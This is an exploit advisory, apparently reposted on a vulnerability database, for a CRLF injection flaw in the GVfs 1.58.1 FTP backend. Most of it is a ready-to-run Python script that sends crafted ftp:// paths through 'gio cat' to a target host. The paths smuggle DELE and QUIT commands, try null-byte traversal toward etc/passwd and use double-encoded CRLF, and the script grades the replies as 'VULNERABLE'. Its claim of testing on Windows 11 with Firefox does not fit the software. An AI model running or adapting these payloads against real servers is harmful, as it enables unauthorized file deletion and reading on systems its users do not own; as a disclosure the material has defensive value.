=============================================================================================================================================
| # Title : GVfs 1.58.1 FTP Backend CRLF Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://download.gnome.org/sources/gvfs/1.58/gvfs-1.58.1.tar.xz |
=============================================================================================================================================
[+] Summary : A vulnerability was identified in the FTP backend of GVfs CVE-2026-28296 due to improper input validation.
A remote attacker can exploit this flaw by supplying specially crafted file paths containing Carriage Return and Line Feed (CRLF) sequences.
Because these CRLF sequences are not properly sanitized, they allow an attacker to prematurely terminate legitimate FTP commands
and inject arbitrary FTP commands into the session. This could result in unauthorized command execution on the FTP server, unintended file operations
(such as deletion or modification), or other severe security impacts depending on the server configuration.
[+] Potential Impact:
Remote execution of arbitrary FTP commands
Unauthorized file access, deletion, or modification
Possible remote code execution (depending on server configuration)
Security control bypass within the GVfs FTP handling layer
[+] POC :
#!/usr/bin/env python3
import subprocess
import urllib.parse
import sys
import ipaddress
import logging
import argparse
import json
import shutil
import os
from dataclasses import dataclass, asdict
from typing import Optional, Tuple, List, Dict, Any
from concurrent.futures import ThreadPoolExecutor
def setup_logging(verbose=False):
log_format = '%(asctime)s - %(levelname)s - %(message)s'
logging.basicConfig(level=logging.DEBUG if verbose else logging.INFO, format=log_format)
forensic_handler = logging.FileHandler('gvfs_forensic_debug.log', mode='w', encoding='utf-8')
forensic_handler.setLevel(logging.DEBUG)
forensic_handler.setFormatter(logging.Formatter(log_format))
logging.getLogger("").addHandler(forensic_handler)
logger = logging.getLogger("GVfsAuditor")
@dataclass
class AuditResult:
"""Comprehensive data for deep analysis"""
test_name: str
payload_type: str
uri: str
returncode: Optional[int]
stdout: str
stderr: str
status: str
analysis: str
class GVfsAdvancedEngine:
"""Advanced scanning engine supporting full data flow analysis"""
def __init__(self, target: str, port: int, timeout: int):
self._check_gio()
self.target = target
self.port = port
self.timeout = timeout
def _check_gio(self):
if not shutil.which("gio"):
raise RuntimeError("GIO tools not found. Please install glib2-tools.")
def _execute_gio(self, uri: str) -> Dict[str, Any]:
"""Execute and log raw response for forensic analysis"""
logger.debug(f"DEBUG_URI_EXEC: {uri}")
try:
proc = subprocess.run(
['gio', 'cat', uri],
capture_output=True, text=True, timeout=self.timeout
)
logger.debug(f"RAW_STDOUT: {proc.stdout.strip()}")
logger.debug(f"RAW_STDERR: {proc.stderr.strip()}")
return {
"returncode": proc.returncode,
"stdout": proc.stdout,
"stderr": proc.stderr,
"exec_status": "COMPLETED"
}
except subprocess.TimeoutExpired:
return {"exec_status": "TIMEOUT", "stderr": "Operation timed out."}
except Exception as e:
return {"exec_status": "SYSTEM_ERROR", "stderr": str(e)}
class GVfsProtocolAuditor(GVfsAdvancedEngine):
"""Security analyzer for compound and complex payloads"""
def build_complex_payload(self, case_type: str, data: str) -> str:
"""Build hybrid payloads (UTF-8, Multi-CRLF, Null-Byte)"""
if case_type == "ADVANCED_CRLF":
payload = f"test.txt\r\nNOOP\r\nDELE {data}\r\nQUIT"
elif case_type == "TRAVERSAL_NULL":
payload = f"../../../{data}\0.jpg"
else:
payload = data
encoded = urllib.parse.quote(payload, safe="")
return f"ftp://anonymous@{self.target}:{self.port}/{encoded}"
def analyze_deep(self, res: Dict[str, Any]) -> Tuple[str, str]:
"""Analyze both stdout and stderr to detect hidden responses"""
if res["exec_status"] != "COMPLETED":
return res["exec_status"], res["stderr"]
combined_output = (res["stdout"] + res["stderr"]).lower()
ftp_success_codes = ["250 ", "200 ", "221 "]
ftp_fail_codes = ["550 ", "553 ", "501 "]
if res["returncode"] == 0:
if any(code in combined_output for code in ftp_fail_codes):
return "PARTIAL_SUCCESS", "Payload reached server (confirmed by FTP code) but failed execution."
if any(code in combined_output for code in ftp_success_codes):
return "VULNERABLE", "Confirmed: Injected commands executed on remote server."
return "ACCEPTED", "GVfs accepted the URI sequence, server response unclear."
if any(k in combined_output for k in ["invalid", "character", "not supported"]):
return "REJECTED", "Local GVfs mitigation active."
return f"FAILED_{res['returncode']}", "Execution failed with non-zero code."
def run_suite(self, target_file: Optional[str], json_out: Optional[str], threads: int):
cases = [
("Base_UTF8", "NORMAL", "audit_indoushka_test.txt"),
("Hybrid_CRLF", "ADVANCED_CRLF", target_file or "inouva.txt"),
("Null_Traversal", "TRAVERSAL_NULL", "etc/passwd"),
("Double_Encoded_CRLF", "NORMAL", "%0d%0aDELE%20test.txt"),
("Long_Buffer_UTF8", "NORMAL", "test_string" * 200 + "\r\nQUIT")
]
print(f"\n{'Test Case':<25} | {'Status':<15} | {'Forensic Analysis'}")
print("-" * 105)
results = []
with ThreadPoolExecutor(max_workers=min(threads, len(cases))) as executor:
future_to_case = {
executor.submit(self._run_test, c): c for c in cases
}
for future in future_to_case:
try:
res = future.result()
results.append(res)
except Exception as e:
logger.error(f"Thread Error: {e}")
if json_out:
with open(json_out, 'w', encoding='utf-8') as f:
json.dump(results, f, indent=4, ensure_ascii=False)
print(f"\n[+] Forensic Report: {json_out} | Raw Logs: gvfs_forensic_debug.log")
def _run_test(self, case) -> Dict:
name, ctype, data = case
uri = self.build_complex_payload(ctype, data)
raw = self._execute_gio(uri)
status, analysis = self.analyze_deep(raw)
print(f"{name:<25} | {status:<15} | {analysis[:50]}")
return asdict(AuditResult(
test_name=name, payload_type=ctype, uri=uri,
returncode=raw.get("returncode"), stdout=raw.get("stdout", ""),
stderr=raw.get("stderr", ""), status=status, analysis=analysis
))
def main():
parser = argparse.ArgumentParser(description="GVfs Forensic Auditor (Advanced Suite)")
parser.add_argument("target", help="FTP Host")
parser.add_argument("--file", help="Remote file to target in complex injections")
parser.add_argument("--port", type=int, default=2121)
parser.add_argument("--out", help="Forensic JSON output")
parser.add_argument("--threads", type=int, default=4)
parser.add_argument("-v", "--verbose", action="store_true", help="Log raw payloads to file/console")
args = parser.parse_args()
setup_logging(args.verbose)
try:
auditor = GVfsProtocolAuditor(args.target, args.port, timeout=12)
auditor.run_suite(args.file, args.out, args.threads)
except KeyboardInterrupt:
sys.exit(0)
except Exception as e:
logger.error(f"Fatal Error: {e}")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation